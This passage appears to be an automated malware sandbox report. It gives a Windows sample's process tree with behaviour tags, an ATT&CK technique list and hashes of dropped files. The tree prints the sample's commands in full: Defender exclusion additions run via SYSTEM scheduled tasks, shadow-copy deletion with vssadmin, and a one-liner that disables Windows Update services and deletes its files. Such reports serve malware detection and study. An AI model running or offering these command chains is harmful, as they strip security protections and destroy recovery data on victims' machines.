  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1228
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4896
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5880
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5452
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2740
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4500
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3208
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1540
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:432
- C:\Program Files (x86)\eoZqVh\eoZqVh.exe
  "C:\Program Files (x86)\eoZqVh\eoZqVh.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Event Triggered Execution: Screensaver
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:1264
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\eoZqVh" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1144
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\eoZqVh" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:252
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:6032
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4968
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1232
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\eoZqVh" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5516
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\eoZqVh" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5700
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\eoZqVh" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5020
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\eoZqVh" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3920
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\eoZqVh\eoZqVh.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2504
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\eoZqVh\eoZqVh.exe" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2272
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\eoZqVh\eoZqVh.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2876
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\eoZqVh\eoZqVh.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3860
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\eoZqVh\eoZqVh.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4224
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\eoZqVh\eoZqVh.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4148
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\eoZqVh\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5256
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\eoZqVh\image.png" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2352
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\eoZqVh\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3980
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\eoZqVh\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3764
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\eoZqVh\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2672
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\eoZqVh\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2728
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\eoZqVh\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4040
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\eoZqVh\thumbs.db" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4948
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\eoZqVh\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5640
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\eoZqVh\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3816
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\eoZqVh\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2684
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\eoZqVh\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4820
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\eoZqVh\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1496
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\eoZqVh\XPSPLOG.dll" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4024
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\eoZqVh\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1176
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\eoZqVh\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4124
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\eoZqVh\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1168
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\eoZqVh\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:204
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4212
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\eoZqVh\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:3420
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\eoZqVh\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4924
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4384
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4748
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    PID:5184
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      PID:1124
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        
        PID:2408
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:4736
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:4952
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      PID:2084
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        
        PID:5520
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      PID:4956
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:5356
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      PID:1408
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        
        PID:4396
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      PID:4360
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:5512
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      PID:2236
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        
        PID:2680
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      PID:5784
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:4056
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:4788
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4492
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4588
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:3432
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:3928

C:\Users\Public\HhVoF2\maRh26.exe
"C:\Users\Public\HhVoF2\maRh26.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5132

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\HhVoF2" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4928
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\HhVoF2" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3112

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:2536

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1336
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1276

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1768
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5724

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4944
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4940

C:\Program Files (x86)\eoZqVh\eoZqVh.exe
"C:\Program Files (x86)\eoZqVh\eoZqVh.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1492

C:\Program Files (x86)\eoZqVh\eoZqVh.exe
"C:\Program Files (x86)\eoZqVh\eoZqVh.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:6072

C:\Program Files (x86)\8jnYaOO21\8KEE03l2.exe
"C:\Program Files (x86)\8jnYaOO21\8KEE03l2.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4592

C:\Program Files (x86)\eoZqVh\eoZqVh.exe
"C:\Program Files (x86)\eoZqVh\eoZqVh.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2576

C:\Program Files (x86)\8jnYaOO21\8KEE03l2.exe
"C:\Program Files (x86)\8jnYaOO21\8KEE03l2.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3044

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\eoZqVh" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:5188

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:552

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\8jnYaOO21\XPSPLOG.dll
Size 4.6MB
SHA256 29532c6f256c0d992d0f9d56ff77e07f55a9b6d4b3b8c49bccac49e595a1009b
MD5 ff6e85bfa919b85e608bacb41d14c0d9
SHA1 2eb4bbd735b2a5a57d4ff287e76cd099d4a60f26
SHA512 524481de25cb35ae020f6d30c02db409a646616df88baf6740bf97561d424bff2e6fc67027bfc22267341401edca6b5613f53347ebeea399979c258e1cbe55f1
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmy/:BMWKfU+BcUTHCCCfqCiUffn/
TLSH
T19C263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\8jnYaOO21\image.png
Size 4.8MB
SHA256 76c6cd2e77567263b927e70058f18257f6170f0833db8db6853086d90b1127ae
MD5 31e7644d3ec12b8494c182dbd67bba3a
SHA1 dbe92951dad37f21189d930fb2e9870bd26103cf
SHA512 ef7b3649622b98790be428db24688a33cff036d376184418854c00dca364a2ea92a8e7ed5e7e3cf3285449e551d5b4bd463cd20b0a269c5e653b7f7dec6cfd5e
SSDEEP 98304:L/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:LMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T13A36334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\eoZqVh\XPSPLOG.dll
Size 4.6MB
SHA256 54df4486d2571e2eba94f930c61fe2b3956d4d31289c2cdd247761ef7cf9aa09
MD5 fc47fd27487f4b8aea4ffc6cd3334636
SHA1 5ec81d33ce6be8b20ce98d13fe0358d5a43b2191
SHA512 de320b1495578cd2fff749d495cc8dda1cbfd78163ab47576b550d106dd216d28fbe29abbc0c41f4111617510384324c34cf3df6feb2d03a5efce482ba894b10
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyn:BMWKfU+BcUTHCCCfqCiUffnn
TLSH
T10A263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

eoZqVh.exe

Path C:\Program Files (x86)\eoZqVh\eoZqVh.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\eoZqVh\image.png
Size 4.8MB
SHA256 716c9f0d59766fd3c227fc0ba200af180c3dc8b7d66cd04bfddb097aea0211fa
MD5 b23a985f0889be476b4ee01cddaea632
SHA1 e07a0192c03a0061e166efd64cb9a200b0be5f51
SHA512 4706b9343337eb880a06011034afd5db15a5661ef311d38bd6976714bb25ef384a4866250ce239bcf8afdca90e143a45d7e9696a4723f378b9b2884b7ef2581e
SSDEEP 98304:M/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:MMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T16D36334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\eoZqVh\thumbs.db
Size 358KB
SHA256 1f4a67126b44366f8e12e6bc21bc5f37ea8f83a977ae88909f306c1082117096
MD5 f7ccb543a0959ae6f11e9eca9e767396
SHA1 c70024ac7c25ba90dea52e7cac76160254ddbf57
SHA512 ea469e4f30d99e700ea3acacc7c7d855ce993a22ca9e62a40d318ec96a743315e5e97068944bd68cf83e4ace33e80cc2a6e7a738f046bbeb632ff7021c2bfb80
